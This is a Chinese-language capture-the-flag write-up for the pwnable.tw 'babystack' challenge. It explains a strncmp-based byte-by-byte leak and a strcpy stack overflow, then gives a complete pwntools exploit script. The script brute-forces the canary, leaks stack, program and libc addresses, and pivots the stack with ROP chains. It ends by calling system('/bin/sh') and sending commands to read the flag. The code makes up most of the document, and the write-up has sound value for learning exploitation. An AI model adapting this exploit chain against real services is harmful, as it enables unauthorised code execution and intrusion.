一个很有意思的栈溢出,需要多个函数组合来构造漏洞。
原题地址:https://pwnable.tw/challenge/ 。
该题的栈环境需要依赖glibc,可以去原题地址进行下载,下面的打包文件也会附带题目的libc。
源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/babystack 。
目录
溢出点
总共两个溢出点,一个是泄露栈信息,一个是栈溢出。
void __fastcall Login(const char *a1)
{
size_t v1; // rax
char s[128]; // [rsp+10h] [rbp-80h]
printf("Your passowrd :");
read_n(s, 127u);
v1 = strlen(s);
if ( !strncmp(s, a1, v1) )
{
admin = 1;
puts("Login Success !");
}
else
{
puts("Failed !");
}
}
在Login
函数中,由于判断字符的长度可以受控制,那么就可以进行逐字判断,从而泄露出栈地址的内容。
int __fastcall Copy(char *a1)
{
char src[128]; // [rsp+10h] [rbp-80h]
printf("Copy :");
read_n(src, 63u);
strcpy(a1, src);
return puts("It is magic copy !");
}
在Copy
函数中,使用的是strcpy
函数,我们可以利用Login
函数来布局栈结构,然后用Copy
函数的strcpy
进行栈溢出。
思路
- 泄露栈地址和程序基地址
- 组合溢出
- 泄露libc
泄露栈地址和程序基地址
由于buf
的地址是rsp+0x40
,所以我们可以泄露rsp+0x40
之后的信息。
pwndbg> stack
...
08:0040│ 0x7ffe1835b170 ◂— 0x12e945f216cb8448
09:0048│ 0x7ffe1835b178 ◂— 0x63847b76506d1c14
0a:0050│ rsi 0x7ffe1835b180 —▸ 0x7ffe1835b231 ◂— 0x0
0b:0058│ 0x7ffe1835b188 ◂— 0x0
0c:0060│ rbp 0x7ffe1835b190 —▸ 0x5599b69e2060 ◂— 0x41ff894156415741
0d:0068│ 0x7ffe1835b198 —▸ 0x7f5438052830 (__libc_start_main+240) ◂— mov edi, eax
0e:0070│ 0x7ffe1835b1a0 —▸ 0x7f54383f17d0 —▸ 0x7f54380522c0 ◂— push r14
0f:0078│ 0x7ffe1835b1a8 —▸ 0x7ffe1835b278 —▸ 0x7ffe1835bf76 ◂— './babystack'
调试可以发现我们可以泄露出生成的stack_guard
,栈的地址,还有程序基地址。
组合溢出
利用上面的溢出点进行栈溢出,由于payload仅有4个字长,所以这里将跳到Login
函数读取更大的payload,由于泄露的栈地址最低字节不确定,所以这里需要进行爆破,payload前面加上ret
指令进行滑栈可以增加爆破几率。
layout1 = [
stack_addr - 0x100 + 0x80, # rbp
image_addr + Login_addr,
image_addr + leave_ret,
]
如上所示,rbp为猜测的值。
layout2 = [
image_addr + pop_rdi_ret,
new_stack1_addr,
image_addr + pop_rsi_r15_ret,
0x100,
0,
image_addr + read_n_addr,
image_addr + pop_rbp_ret,
new_stack1_addr,
image_addr + leave_ret,
]
# 0x0000000000000aa9 : ret
ret_addr = image_addr + 0x0000000000000aa9
temp = p64(ret_addr) * (16 - len(layout2)) + flat(layout2)
sh.sendafter('Your passowrd :', temp[:127])
如果程序踩中了我们的payload
,之后便是正常的栈转移(泄露libc,执行shell)。
完整脚本
据统计应该是1/6
的概率
注意,由于服务器速度很慢,可能执行一次需要数个小时,所以请耐心等待。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './babystack'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10205)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xEBB)
b *$rebase(0x1052)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
random_buf = ''
for i in range(0x10):
for ii in range(1, 0x100):
sh.sendafter('>> ', '1')
sh.sendlineafter('Your passowrd :', random_buf + chr(ii))
if(sh.recvline() == 'Login Success !\n'):
random_buf += chr(ii)
sh.sendafter('>> ', '1')
break
print(hexdump(random_buf))
leak_content = '1'
for i in range(6):
for ii in range(1, 0x100):
sh.sendafter('>> ', '1')
sh.sendlineafter('Your passowrd :', random_buf + leak_content + chr(ii))
if(sh.recvline() == 'Login Success !\n'):
leak_content += chr(ii)
sh.sendafter('>> ', '1')
break
print(hexdump(leak_content))
stack_addr = u64(leak_content.ljust(8, '\0')) & 0xffffffffffffff00
log.success('stack_addr: ' + hex(stack_addr))
sh.sendafter('>> ', '1' + 'a' * 15)
sh.sendafter('Your passowrd :', 'a')
leak_content = ''
for i in range(6):
for ii in range(1, 0x100):
sh.sendafter('>> ', '1')
sh.sendlineafter('Your passowrd :', random_buf + '1' + 'a' * 15 + leak_content + chr(ii))
if(sh.recvline() == 'Login Success !\n'):
leak_content += chr(ii)
sh.sendafter('>> ', '1')
break
print(hexdump(leak_content))
image_addr = u64(leak_content.ljust(8, '\0')) - 0x1060
log.success('image_addr: ' + hex(image_addr))
# 0x00000000000010c3 : pop rdi ; ret
pop_rdi_ret = 0x00000000000010c3
# 0x00000000000010c1 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x00000000000010c1
read_n_addr = 0xCA0
# 0x0000000000000d0d : leave ; ret
leave_ret = 0x0000000000000d0d
Login_addr = 0xDEF
layout1 = [
stack_addr - 0x100 + 0x80, # rbp
image_addr + Login_addr,
image_addr + leave_ret,
]
for i in range(len(layout1))[::-1]:
sh.sendafter('>> ', '1')
temp = '\0' + 'b' * 95 + 'cccccccc' * i + p64((layout1[i] << 8) + 1) + '\0'
sh.sendafter('Your passowrd :', temp[:127])
sh.sendafter('>> ', '3')
sh.sendafter('Copy :', 'b')
sh.sendafter('>> ', '1')
sh.sendafter('>> ', '1')
temp = '\0' + 'b' * 63 + random_buf + 'b' * 0x10 + 'cccccccc' * i + p64(layout1[i]) + '\0'
sh.sendafter('Your passowrd :', temp[:127])
sh.sendafter('>> ', '3')
sh.sendafter('Copy :', 'b')
sh.sendafter('>> ', '1')
sh.sendafter('>> ', '1')
sh.sendafter('Your passowrd :', '\0')
# pause()
sh.sendafter('>> ', '2')
# 0x0000000000000bd0 : pop rbp ; ret
pop_rbp_ret = 0x0000000000000bd0
new_stack1_addr = image_addr + 0x203000 - 0x200
layout2 = [
image_addr + pop_rdi_ret,
new_stack1_addr,
image_addr + pop_rsi_r15_ret,
0x100,
0,
image_addr + read_n_addr,
image_addr + pop_rbp_ret,
new_stack1_addr,
image_addr + leave_ret,
]
# 0x0000000000000aa9 : ret
ret_addr = image_addr + 0x0000000000000aa9
temp = p64(ret_addr) * (16 - len(layout2)) + flat(layout2)
sh.sendafter('Your passowrd :', temp[:127])
# sh.sendafter('Your passowrd :', 'zzzzzzzz' * (16 - len(layout2)) + flat(layout2))
sh.recvline()
new_stack2_addr = image_addr + 0x203000 - 0x100
layout3 = [
0,
image_addr + pop_rdi_ret,
image_addr + elf.got['puts'],
image_addr + elf.plt['puts'],
image_addr + pop_rdi_ret,
new_stack2_addr,
image_addr + pop_rsi_r15_ret,
0x100,
0,
image_addr + read_n_addr,
image_addr + pop_rbp_ret,
new_stack2_addr,
image_addr + leave_ret,
]
sh.send(flat(layout3))
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
layout4 = [
0,
image_addr + pop_rdi_ret,
libc_addr + libc.search('/bin/sh\0').next(),
libc_addr + libc.symbols['system'],
image_addr + pop_rdi_ret,
0,
libc_addr + libc.symbols['exit'],
]
sh.send(flat(layout4))
sh.sendline('find /home -name flag | xargs cat')
sh.sendline('cat /home/BabyStack/flag')
sh.interactive()
clear()